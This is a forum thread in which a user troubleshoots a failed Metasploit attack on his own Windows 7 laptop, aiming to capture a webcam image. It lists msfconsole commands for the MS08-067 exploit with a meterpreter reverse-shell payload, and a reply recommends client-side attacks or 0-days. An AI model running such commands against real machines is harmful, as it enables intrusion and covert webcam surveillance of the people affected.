BT5 R3 GNOME Metasploit Attack Error Please Help!

[Mazin6341]

This week I have being trying to do a metasploit attack onto my Laptop and then use the webcam on it to take a picture. But I keep getting an error. Before I start to talk about the error let me show you the important details that you could need to help me out:

Laptop:
Windows 7 Ultimate Service Pack 1 32-bit
IP : 192.168.1.4 or 192.168.1.3 (It would change from one another randomly when rebooted)
Is connected to my network.

My Computer:
Windows 8 Pro 64-bit
IP : 192.168.56.1
Is connected to my network.
Has VirtualBox running on my PC to run BT5 R3.
BT5 R3 IP : 192.168.1.8
Connection Type: Bridged

Alright, now to what I did:
Click the start button thing and then clicked "Backtrack" then "Exploitation Tools" then "Network Exploitation Tools" then "MetaSploit Framework" then "msfconsole"
Also typing in "msfconsole" in the console works too
Below are what showed up in the console (Had to type it in manually :P):

msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(ms08_067_netapi) > set RHOST 192.168.1.4 (NOTE THIS WAS NOT TYPED IN THE COMMAND! 192.168.1.4 is My Laptop IP!)
RHOST => 192.168.1.8
msf exploit(ms08_067_netapi) > set LHOST 192.168.1.8 (THIS TOO IS NOT A COMMAND :P 192.168.1.8 is my BT5 R3 IP!)
LHOST => 192.168.1.8
msf exploit(ms08_067_netapi) > exploit[*]Started reverse handler on 192.168.1.8:4444
[-]Exploit failed [unreachable]: Rex::HostUnreachable The host (192.168.1.4:455) was unreachable.


And sometimes the "[-]Exploit failed [unreachable]: Rex::HostUnreachable The host (192.168.1.4:455) was unreachable." would be "[-]Exploit failed [unreachable]: Rex::ConnectionTimedOut The connection to (192.168.1.4:445) was timed out."

Please Help Me Out If You Can
Thanks In Advance!

hey friend u seem 2 be new with backtrack distro ..... the exploit that u r using will work against windows xp sp2 , server 2003 ... not with win 8 or win7 ....

Rather than looking for direct system exploit against win 8 , u should go for csa(client side attack) or get some 0-day exploit against win8 ...
